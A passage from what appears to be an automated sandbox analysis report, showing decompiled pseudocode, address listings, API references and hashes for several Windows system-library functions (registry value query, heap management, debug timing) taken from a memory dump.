					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1068);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1056);
					_push(_t116);
					_t122 = E6B589650();
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *((intOrPtr*)(_t102 + 4));
							if(_t109 == 3 || _t109 == 7) {
								if(_t114 != _t109) {
									goto L59;
								}
								_t110 = _v1064;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1068 = _t118;
								if(_t110 == 0 ||  *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								} else {
									_push( *((intOrPtr*)(_t102 + 8)));
									_t59 = _t102 + 0xc; // 0xc
									_push(_t110);
									goto L54;
								}
							} else {
								_t118 = 4;
								if(_t109 != _t118) {
									if(_t109 != 0xb) {
										if(_t109 == 1) {
											if(_t114 != _t118) {
												_t118 =  *((intOrPtr*)(_t102 + 8));
												_v1068 = _t118;
												if(_t118 > _t77) {
													L10:
													_t122 = 0x80000005;
													L11:
													_t81 = _v1048;
													if(_t81 != 0 && (_t122 >= 0 || _t122 == 0x80000005)) {
														 *_t81 = _t118;
													}
													L15:
													_t78 = _v1060;
													if(_t78 != 0) {
														RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t78);
													}
													_t68 = _t122;
													goto L4;
												}
												_push(_t118);
												_t56 = _t102 + 0xc; // 0xc
												_push(_v1064);
												L54:
												memcpy();
												_t125 = _t125 + 0xc;
												goto L11;
											}
											if(_t77 != _t118) {
												L34:
												_t122 = 0xc0000004;
												goto L15;
											}
											_t111 = _v1064;
											if((_t111 & 0x00000003) == 0) {
												_v1068 = _t118;
												if(_t111 == 0) {
													goto L10;
												}
												_t42 = _t102 + 0xc; // 0xc
												_v1052 = _t42;
												_v1056 =  *((intOrPtr*)(_t102 + 8));
												_v1054 =  *((intOrPtr*)(_t102 + 8));
												_t122 = RtlUnicodeStringToInteger( &_v1056, 0, _t111);
												L44:
												_t118 = _v1080;
												goto L11;
											}
											_t122 = 0x80000002;
											goto L15;
										}
										_t122 = 0xc0000024;
										goto L44;
									}
									if(_t114 != _t109) {
										L59:
										_t122 = 0xc0000024;
										goto L15;
									}
									_t118 = 8;
									if(_t77 != _t118 ||  *((intOrPtr*)(_t102 + 8)) != _t118) {
										goto L34;
									} else {
										_t112 = _v1064;
										_v1068 = _t118;
										if(_t112 == 0) {
											goto L10;
										}
										 *_t112 =  *(_t102 + 0xc);
										_t112[1] =  *(_t102 + 0x10);
										goto L11;
									}
								}
								if(_t114 != _t118) {
									goto L59;
								}
								if(_t77 != _t118 ||  *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								} else {
									_t113 = _v1064;
									_v1068 = _t118;
									if(_t113 == 0) {
										goto L10;
									}
									 *_t113 =  *(_t102 + 0xc);
									goto L11;
								}
							}
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						if(_t118 <= _a20) {
							_t114 =  *((intOrPtr*)(_t102 + 4));
							_t77 = _t118;
							goto L26;
						}
						_v1068 = _t118;
						goto L10;
					}
					if(_t122 != 0x80000005) {
						goto L15;
					}
					RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1076;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E6B589650();
				if(_t122 >= 0) {
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x6b54c608
0x6b54c615
0x6b54c625
0x6b54c62d
0x6b54c635
0x6b54c640
0x6b54c680
0x6b54c687
0x6b54c688
0x6b54c689
0x6b54c694
0x6b54c694
0x6b54c642
0x6b54c64a
0x6b54c697
0x6b5b7a25
0x6b5b7a2b
0x6b5b7a30
0x6b5b7bea
0x6b5b7bea
0x00000000
0x6b5b7bea
0x6b5b7a43
0x6b5b7a48
0x6b5b7a4e
0x00000000
0x00000000
0x6b5b7a58
0x6b5b7a5a
0x6b5b7a5b
0x6b5b7a5c
0x6b5b7a5d
0x6b5b7a63
0x6b5b7a64
0x6b5b7a6a
0x6b5b7a6e
0x6b5b79cb
0x6b5b79cb
0x6b5b79d0
0x6b5b7a98
0x6b5b7a9b
0x6b5b7a9b
0x6b5b7aa1
0x6b5b7bc0
0x00000000
0x00000000
0x6b5b7bc2
0x6b5b7bc6
0x6b5b7bc9
0x6b5b7bcf
0x00000000
0x6b5b7bde
0x6b5b7ba9
0x6b5b7bac
0x6b5b7bb0
0x00000000
0x6b5b7bb0
0x6b5b7ab0
0x6b5b7ab2
0x6b5b7ab5
0x6b5b7aef
0x6b5b7b28
0x6b5b7b64
0x6b5b7b8f
0x6b5b7b92
0x6b5b7b98
0x6b5b79e6
0x6b5b79e6
0x6b5b79eb
0x6b5b79eb
0x6b5b79f1
0x6b5b79ff
0x6b5b79ff
0x6b5b7a01
0x6b5b7a01
0x6b5b7a07
0x6b5b7a15
0x6b5b7a15
0x6b5b7a1a
0x00000000
0x6b5b7a1a
0x6b5b7b9e
0x6b5b7b9f
0x6b5b7ba3
0x6b5b7bb1
0x6b5b7bb1
0x6b5b7bb6
0x00000000
0x6b5b7bb6
0x6b5b7b68
0x6b5b7ae2
0x6b5b7ae2
0x00000000
0x6b5b7ae2
0x6b5b7b6e
0x6b5b7b75
0x6b5b7b81
0x6b5b7b87
0x00000000
0x00000000
0x6b5b7b31
0x6b5b7b34
0x6b5b7b3c
0x6b5b7b46
0x6b5b7b57
0x6b5b7b59
0x6b5b7b59
0x00000000
0x6b5b7b59
0x6b5b7b77
0x00000000
0x6b5b7b77
0x6b5b7b2a
0x00000000
0x6b5b7b2a
0x6b5b7af3
0x6b5b7be0
0x6b5b7be0
0x00000000
0x6b5b7be0
0x6b5b7afb
0x6b5b7afe
0x00000000
0x6b5b7b05
0x6b5b7b05
0x6b5b7b09
0x6b5b7b0f
0x00000000
0x00000000
0x6b5b7b18
0x6b5b7b1d
0x00000000
0x6b5b7b1d
0x6b5b7afe
0x6b5b7ab9
0x00000000
0x00000000
0x6b5b7ac1
0x00000000
0x6b5b7ac8
0x6b5b7ac8
0x6b5b7acc
0x6b5b7ad2
0x00000000
0x00000000
0x6b5b7adb
0x00000000
0x6b5b7adb
0x6b5b7ac1
0x6b5b7aa1
0x6b5b79d6
0x6b5b79dc
0x6b5b7a91
0x6b5b7a94
0x00000000
0x6b5b7a94
0x6b5b79e2
0x00000000
0x6b5b79e2
0x6b5b7a7a
0x00000000
0x00000000
0x6b5b7a8a
0x6b5b7a21
0x6b5b7a21
0x00000000
0x6b5b7a21
0x6b54c650
0x6b54c651
0x6b54c656
0x6b54c65c
0x6b54c65d
0x6b54c663
0x6b54c664
0x6b54c66a
0x6b54c66e
0x6b5b79c7
0x00000000
0x6b5b79c7
0x6b54c67a
0x00000000
0x00000000
0x00000000

APIs

RtlInitUnicodeStringEx.1105(?,?,?,?,?), ref: 6B54C639
ZwQueryValueKey.1105(?,?,00000002,?,00000400,?,?,?,?,?,?), ref: 6B54C665
RtlFreeHeap.1105(?,00000000,00000002,?,?,00000002,00000000,?,?,?,?), ref: 6B5B7A15
RtlAllocateHeap.1105(?,?,?,?,?,?,?,?), ref: 6B5B7A43
ZwQueryValueKey.1105(?,?,00000002,00000000,?,?,?,?), ref: 6B5B7A65
RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,?,?,?), ref: 6B5B7A8A
RtlUnicodeStringToInteger.1105(?,00000000,00000000,?,?,00000002,00000000,?,?,?,?), ref: 6B5B7B52
memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,?,?,?), ref: 6B5B7BB1

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeQueryStringUnicodeValue$AllocateInitIntegermemcpy
String ID:
API String ID: 3015855070-0
Opcode ID: 8844a3dd780e937649fea7c7d060f8b164a6325d5ac22d1a28bc66c322f20cc6
Instruction ID: 72fb47333e72e5e91edccaa34efb4740d23ac0fa61a777077c80016fc60fbf84
Opcode Fuzzy Hash: 8844a3dd780e937649fea7c7d060f8b164a6325d5ac22d1a28bc66c322f20cc6
Instruction Fuzzy Hash: F281B175A482018BFB11CF18C8A1FABB7E4FB84754F1448AAED559B240E338DD45CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B545050, Relevance: 12.1, APIs: 8, Instructions: 133
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E6B545050(intOrPtr _a4) {
				char _v20;
				void* _v24;
				long _v26;
				void* _v28;
				void* _v40;
				void* _v42;
				void* _v44;
				void* _v48;
				void* _v56;
				void* _v64;
				intOrPtr _t34;
				void* _t36;
				void* _t38;
				signed short _t41;
				signed int _t51;
				void* _t58;
				void* _t60;
				void* _t69;
				intOrPtr _t74;
				long _t78;
				void* _t79;
				void* _t80;
				void* _t81;
				signed int _t82;
				void* _t84;

				_t84 = (_t82 & 0xfffffff8) - 0x1c;
				_t34 =  *[fs:0x30];
				_t58 =  *(_t34 + 0x18);
				_t74 =  *((intOrPtr*)(_t34 + 0x10));
				_v28 = _t58;
				if(E6B54519E(_a4) != 0) {
					_t36 = 0;
					L14:
					return _t36;
				}
				if(E6B5674C0(_a4) != 0) {
					_t36 = 0xc0000103;
				} else {
					_t78 =  *(_t74 + 0x26) & 0x0000ffff;
					while(1) {
						_t38 = RtlAllocateHeap(_t58, 0, _t78);
						_v24 = _t38;
						if(_t38 == 0) {
							break;
						}
						_v28 = 0;
						if(_t78 > 0xffff) {
							_v26 = 0xffff;
							L25:
							_t79 = 0xc0000095;
							L26:
							RtlFreeHeap(_t58, 0, _t38);
							_t36 = _t79;
							goto L14;
						}
						_v26 = _t78;
						_t80 = E6B566E30(_a4, _t78, _t38, 0, 0,  &_v20);
						if(_t80 == 0) {
							_t79 = 0xc0000033;
							L23:
							_t38 = _v24;
							goto L26;
						}
						_t41 = _v26;
						if(_t80 > (_t41 & 0x0000ffff) - 4) {
							__eflags =  *((char*)( *[fs:0x30] + 3));
							if(__eflags >= 0) {
								_t41 = _v26;
								goto L7;
							}
							RtlFreeHeap(_t58, 0, _v24);
							_t78 = _t80 + 4;
							continue;
						}
						L7:
						_t72 = _t41 & 0x0000ffff;
						if(_t80 > (_t41 & 0x0000ffff)) {
							_t79 = 0xc0000106;
							goto L23;
						}
						_t92 = _t80 - 0xffff;
						if(_t80 > 0xffff) {
							_v28 = 0xffff;
							_t38 = _v24;
							goto L25;
						}
						_v28 = _t80;
						_t60 = E6B57F0BF( &_v28, _t72, _t92, _t84 + 0x14);
						RtlFreeHeap(_v40, 0, _v28);
						if(_t60 >= 0) {
							L6B55EEF0(0x6b6379a0);
							_t69 = _v44;
							_t81 =  *0x6b638210;
							 *((intOrPtr*)(_t74 + 0x2c)) =  *((intOrPtr*)(_t69 + 4));
							 *((intOrPtr*)(_t74 + 0x28)) =  *((intOrPtr*)(_t69 + 0x10));
							 *((short*)(_t74 + 0x24)) =  *((intOrPtr*)(_t69 + 0xc));
							 *0x6b638210 = _t69;
							_t51 = E6B55EB70(_t69, 0x6b6379a0);
							if(_t81 != 0) {
								asm("lock xadd [esi], eax");
								if((_t51 | 0xffffffff) == 0) {
									_push( *((intOrPtr*)(_t81 + 4)));
									E6B5895D0();
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t81);
								}
							}
						}
						_t36 = _t60;
						goto L14;
					}
					_t36 = 0xc0000017;
				}
			}

0x6b545058
0x6b54505b
0x6b545066
0x6b54506a
0x6b54506d
0x6b545078
0x6b54519a
0x6b545191
0x6b545197
0x6b545197
0x6b545088
0x6b5a0c21
0x6b54508e
0x6b54508e
0x6b545092
0x6b545096
0x6b54509b
0x6b5450a1
0x00000000
0x00000000
0x6b5450ae
0x6b5450b5
0x6b5a0c72
0x6b5a0c77
0x6b5a0c77
0x6b5a0c7c
0x6b5a0c80
0x6b5a0c85
0x00000000
0x6b5a0c85
0x6b5450bf
0x6b5450d4
0x6b5450d8
0x6b5a0c67
0x6b5a0c6c
0x6b5a0c6c
0x00000000
0x6b5a0c6c
0x6b5450de
0x6b5450eb
0x6b5a0c31
0x6b5a0c35
0x6b5a0c4b
0x00000000
0x6b5a0c4b
0x6b5a0c3e
0x6b5a0c43
0x00000000
0x6b5a0c43
0x6b5450f1
0x6b5450f1
0x6b5450f6
0x6b5a0c55
0x00000000
0x6b5a0c55
0x6b545101
0x6b545103
0x6b5a0c5c
0x6b5a0c61
0x00000000
0x6b5a0c61
0x6b54510d
0x6b545120
0x6b545128
0x6b54512f
0x6b545136
0x6b54513b
0x6b54513f
0x6b54514d
0x6b545153
0x6b54515a
0x6b54515e
0x6b545164
0x6b54516b
0x6b545170
0x6b545174
0x6b545176
0x6b545179
0x6b54518a
0x6b54518a
0x6b545174
0x6b54516b
0x6b54518f
0x00000000
0x6b54518f
0x6b5a0c8c
0x6b5a0c8c

APIs

RtlAllocateHeap.1105(?,00000000,?), ref: 6B545096
RtlFreeHeap.1105(?,00000000,00000000,00000000,?), ref: 6B5A0C80

Part of subcall function 6B566E30: memset.1105(01000000,00000000,?,?,00000024,00000000,?), ref: 6B566F17

RtlFreeHeap.1105(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6B545128
RtlEnterCriticalSection.1105(6B6379A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6B545136
RtlLeaveCriticalSection.1105(6B6379A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6B545164
ZwClose.1105(?,6B6379A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000), ref: 6B545179
RtlFreeHeap.1105(?,00000000,?,?,6B6379A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000), ref: 6B54518A
RtlFreeHeap.1105(?,00000000,00000000,00000000,00000000,00000000,?,00000000,?), ref: 6B5A0C3E

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$CriticalSection$AllocateCloseEnterLeavememset
String ID:
API String ID: 1968905909-0
Opcode ID: e0ff447a0a0652366162f8dc46eb2a26c7a88fca435ec6e9d266a909c1b4af62
Instruction ID: a282881b813fc979e148cd0bb29c24e1b7d94022f3903bc703867af743a7ceb2
Opcode Fuzzy Hash: e0ff447a0a0652366162f8dc46eb2a26c7a88fca435ec6e9d266a909c1b4af62
Instruction Fuzzy Hash: 944113366583119BF320DF28C8A0BEAB7A4AF85754F00096AFD959B390E778DC42C7D5

Uniqueness

Uniqueness Score: -1.00%

Function 6B57513A, Relevance: 10.8, APIs: 7, Instructions: 258
timeCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E6B57513A(intOrPtr __ecx, void* __edx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				void* _v24;
				int _v28;
				int* _v32;
				signed int _v36;
				int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				char _v63;
				char _v64;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t157;
				signed int _t159;
				signed int _t160;
				unsigned int* _t161;
				void* _t165;
				signed int _t172;
				signed int _t181;
				void* _t185;
				void* _t189;
				intOrPtr* _t200;
				signed int _t202;
				signed int _t203;
				char _t204;
				signed int _t207;
				signed int _t208;
				void* _t209;
				intOrPtr _t210;
				signed int _t212;
				signed int _t214;
				intOrPtr _t221;
				signed int _t222;
				signed int _t226;
				intOrPtr _t230;
				void** _t233;
				signed int _t234;
				signed int _t235;
				intOrPtr _t238;
				intOrPtr _t239;
				intOrPtr _t241;
				void* _t246;
				signed int _t247;
				signed int _t248;
				void* _t249;
				void* _t252;
				void* _t253;
				signed int _t254;
				signed int _t256;
				signed int _t257;

				_t256 = (_t254 & 0xfffffff8) - 0x6c;
				_v8 =  *0x6b63d360 ^ _t256;
				_v32 = _v32 & 0x00000000;
				_t252 = __edx;
				_t238 = __ecx;
				_t212 = 6;
				_t246 =  &_v84;
				_t207 =  *((intOrPtr*)(__ecx + 0x48));
				_v44 =  *((intOrPtr*)(__edx + 0xc8));
				_v48 = __ecx;
				_v36 = _t207;
				_t157 = memset(_t246, 0, _t212 << 2);
				_t257 = _t256 + 0xc;
				_t247 = _t246 + _t212;
				if(_t207 == 2) {
					_t248 =  *(_t238 + 0x60);
					_t208 =  *(_t238 + 0x64);
					_v63 =  *((intOrPtr*)(_t238 + 0x4c));
					_t159 =  *((intOrPtr*)(_t238 + 0x58));
					_v104 = _t159;
					_v76 = _t159;
					_t160 =  *((intOrPtr*)(_t238 + 0x5c));
					_v100 = _t160;
					_v72 = _t160;
					L19:
					_v80 = _t208;
					_v84 = _t248;
					L8:
					_t214 = 0;
					if( *(_t238 + 0x74) > 0) {
						_t82 = _t238 + 0x84; // 0x124
						_t161 = _t82;
						_v92 = _t161;
						while( *_t161 >> 0x1f != 0) {
							_t200 = _v92;
							if( *_t200 == 0x80000000) {
								break;
							}
							_t214 = 1 + _t214;
							_t161 = _t200 + 0x10;
							_v92 = _t161;
							if(_t214 <  *(_t238 + 0x74)) {
								continue;
							}
							goto L9;
						}
						_v88 = _t214 << 4;
						_v40 = _t238 +  *((intOrPtr*)(_v88 + _t238 + 0x78));
						_t165 = 0;
						asm("adc eax, [ecx+edx+0x7c]");
						_v24 = _t165;
						_v28 = _v40;
						_v20 =  *((intOrPtr*)(_v88 + _t238 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t238 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t241 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t252 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t241 + 0x4e) & 0x7fff)) {
								_t181 = E6B58D0F0(1, _t226 + 0x20, 0);
								_t230 = _v40;
								 *(_t230 + 8) = _t181;
								 *((intOrPtr*)(_t230 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t250 = _t127;
								E6B562280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *(_t210 + 0x94);
								if(_t185 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t185);
								}
								_t189 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v20 + 0x10);
								 *(_t210 + 0x94) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v28;
									( *(_t210 + 0x94))[3] = _v24;
									_t233 =  *(_t210 + 0x94);
									 *_t233 =  &(_t233[4]);
									_t233[1] = _t233[1] & 0x00000000;
									memcpy( *( *(_t210 + 0x94)), _v36, _v28);
									_t257 = _t257 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E6B55FFB0(_t210, _t250, _t250);
								_t222 = _v84;
								_t172 = _v88;
								_t208 = _v92;
								_t248 = _v96;
								L10:
								_t239 =  *((intOrPtr*)(_t252 + 0x1c));
								_v44 = _t239;
								if(_t239 != 0) {
									 *0x6b63b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t248, _t208, _v32,  *((intOrPtr*)(_t252 + 0x20)));
									_v44();
								}
								_pop(_t249);
								_pop(_t253);
								_pop(_t209);
								return E6B58B640(0, _t209, _v8 ^ _t257, _t239, _t249, _t253);
							}
							_t181 = _v92;
							L31:
							_t226 = 1 + _t226;
							_t181 = _t181 + 0x18;
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t248 = _t247 | 0xffffffff;
				_t208 = _t248;
				_v84 = _t248;
				_v80 = _t208;
				if( *((intOrPtr*)(_t252 + 0x4c)) == _t157) {
					_t234 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t252 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t252 + 0x40);
					_t234 = _v72 |  *(_t252 + 0x44);
					_t248 =  *(_t252 + 0x38);
					_t208 =  *(_t252 + 0x3c);
					_v76 = _t202;
					_v72 = _t234;
					_v84 = _t248;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t234;
				if( *((char*)(_t252 + 0xc4)) != 0) {
					_t238 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t252 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t252 + 0xc5));
						_t238 = _v48;
					}
					_t203 = _t202 |  *(_t252 + 0xb8);
					_t235 = _t234 |  *(_t252 + 0xbc);
					_t248 = _t248 &  *(_t252 + 0xb0);
					_t208 = _t208 &  *(_t252 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t235;
					_v72 = _t235;
					_v84 = _t248;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t248 = 0;
					 *(_t238 + 0x74) =  *(_t238 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x6b575142
0x6b57514c
0x6b575150
0x6b575157
0x6b575159
0x6b57515e
0x6b575165
0x6b575169
0x6b57516c
0x6b575172
0x6b575176
0x6b57517a
0x6b57517a
0x6b57517a
0x6b57517f
0x6b5b6d8b
0x6b5b6d8e
0x6b5b6d91
0x6b5b6d95
0x6b5b6d98
0x6b5b6d9c
0x6b5b6da0
0x6b5b6da3
0x6b5b6da7
0x6b5b6e26
0x6b5b6e26
0x6b5b6e2a
0x6b5751f9
0x6b5751f9
0x6b5751fe
0x6b5b6e33
0x6b5b6e33
0x6b5b6e39
0x6b5b6e3d
0x6b5b6e46
0x6b5b6e50
0x00000000
0x00000000
0x6b5b6e52
0x6b5b6e53
0x6b5b6e56
0x6b5b6e5d
0x00000000
0x00000000
0x00000000
0x6b5b6e5f
0x6b5b6e67
0x6b5b6e77
0x6b5b6e7f
0x6b5b6e80
0x6b5b6e88
0x6b5b6e90
0x6b5b6e9f
0x6b5b6ea5
0x6b5b6ea9
0x6b5b6eb1
0x6b5b6ebf
0x00000000
0x00000000
0x6b5b6ecf
0x6b5b6ed3
0x00000000
0x00000000
0x6b5b6edb
0x6b5b6ede
0x6b5b6ee1
0x6b5b6ee8
0x6b5b6eeb
0x6b5b6eed
0x6b5b6ef0
0x6b5b6ef4
0x6b5b6ef8
0x6b5b6efc
0x00000000
0x00000000
0x6b5b6f0d
0x6b5b6f11
0x6b5b6f32
0x6b5b6f37
0x6b5b6f3b
0x6b5b6f3e
0x6b5b6f41
0x6b5b6f46
0x00000000
0x00000000
0x6b5b6f4c
0x6b5b6f50
0x6b5b6f50
0x6b5b6f54
0x6b5b6f62
0x6b5b6f65
0x6b5b6f6d
0x6b5b6f7b
0x6b5b6f7b
0x6b5b6f93
0x6b5b6f98
0x6b5b6fa0
0x6b5b6fa6
0x6b5b6fb3
0x6b5b6fb6
0x6b5b6fbf
0x6b5b6fc1
0x6b5b6fd5
0x6b5b6fda
0x6b5b6fda
0x6b5b6fdd
0x6b5b6fe2
0x6b5b6fe7
0x6b5b6feb
0x6b5b6fef
0x6b5b6ff3
0x6b57520c
0x6b57520c
0x6b57520f
0x6b575215
0x6b575234
0x6b57523a
0x6b57523a
0x6b575244
0x6b575245
0x6b575246
0x6b575251
0x6b575251
0x6b5b6f13
0x6b5b6f17
0x6b5b6f17
0x6b5b6f18
0x6b5b6f1b
0x6b5b6f1f
0x6b5b6f23
0x00000000
0x6b5b6f28
0x6b575204
0x6b575204
0x6b575208
0x00000000
0x6b575208
0x6b575185
0x6b575188
0x6b57518a
0x6b57518e
0x6b575195
0x6b5b6db1
0x6b5b6db5
0x6b5b6db9
0x6b57519b
0x6b57519b
0x6b57519e
0x6b5751a7
0x6b5751a9
0x6b5751a9
0x6b5751b5
0x6b5751b8
0x6b5751bb
0x6b5751be
0x6b5751c1
0x6b5751c5
0x6b5751c9
0x6b5751cd
0x6b5751cd
0x6b5751d8
0x6b5751dc
0x6b5751e0
0x6b5b6dcc
0x6b5b6dd0
0x6b5b6dd5
0x6b5b6ddd
0x6b5b6de1
0x6b5b6de1
0x6b5b6de5
0x6b5b6deb
0x6b5b6df1
0x6b5b6df7
0x6b5b6dfd
0x6b5b6e01
0x6b5b6e05
0x6b5b6e09
0x6b5b6e0d
0x6b5b6e11
0x6b5b6e11
0x6b5751eb
0x6b5b6e1a
0x6b5b6e1f
0x6b5b6e21
0x6b5b6e23
0x00000000
0x6b5751f1
0x6b5751f1
0x00000000
0x6b5751f1

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,-00000054,6B6386CC,?,000000FF,?,000000A0,?), ref: 6B575234

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 73a4879edd387f30baf005cf64971b3e6a05c5a40bb5d765e8c64c9dee0ac165
Instruction ID: b99a36d7d099643c3ec9e7184881c7003a981f43c8c628ea4cb6a5c5ac0d7cc9
Opcode Fuzzy Hash: 73a4879edd387f30baf005cf64971b3e6a05c5a40bb5d765e8c64c9dee0ac165
Instruction Fuzzy Hash: 1AC122756093808FE354CF28C490A9AFBF1BF89308F1449AEF9998B352D775E945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 6B54E8B0, Relevance: 10.7, APIs: 7, Instructions: 190
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6B54E8B0(void* __ecx, signed int* _a4, signed int _a8) {
				signed int _t97;
				signed int _t98;
				signed int _t99;
				signed int _t100;
				signed int _t101;
				signed int _t123;
				long _t131;
				signed int* _t134;

				_t134 = _a4;
				_t131 = 0;
				if(_t134 == 0) {
					L70:
					_t131 = 0xc000000d;
					L15:
					return _t131;
				}
				_t123 = _a8;
				if(_t123 == 0) {
					goto L70;
				}
				if((_t123 & 0x00000400) != 0) {
					_t123 = 0xfff;
				}
				if((_t123 & 0x00000001) != 0) {
					if(_t134[5] != _t131) {
						if(( *_t134 & 0x00000001) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[5]);
						}
						_t134[5] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffffe;
				}
				if((_t123 & 0x00000002) != 0) {
					if(_t134[6] != _t131) {
						if(( *_t134 & 0x00000002) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[6]);
						}
						_t134[6] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffffd;
				}
				if((_t123 & 0x00000004) != 0) {
					if(_t134[7] != _t131) {
						if(( *_t134 & 0x00000004) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[7]);
						}
						_t134[7] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffffb;
				}
				if((_t123 & 0x00000008) != 0) {
					if(_t134[8] != _t131) {
						if(( *_t134 & 0x00000008) != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t131, _t134[8]);
						}
						_t134[8] = _t131;
					}
					 *_t134 =  *_t134 & 0xfffffff7;
				}
				if((_t123 & 0x00000010) != 0) {
					_t97 = _t134[9];
					if(_t97 != 0) {
						if(( *_t134 & 0x00000010) != 0) {
							 *(_t97 + 0x20) =  *(_t97 + 0x20) & 0xffffffbf;
							E6B5576E2(_t134[9]);
						}
						_t134[9] = _t131;
					}
					 *_t134 =  *_t134 & 0xffffffef;
				}
				if((_t123 & 0x00000020) != 0) {
					_t98 = _t134[0xa];
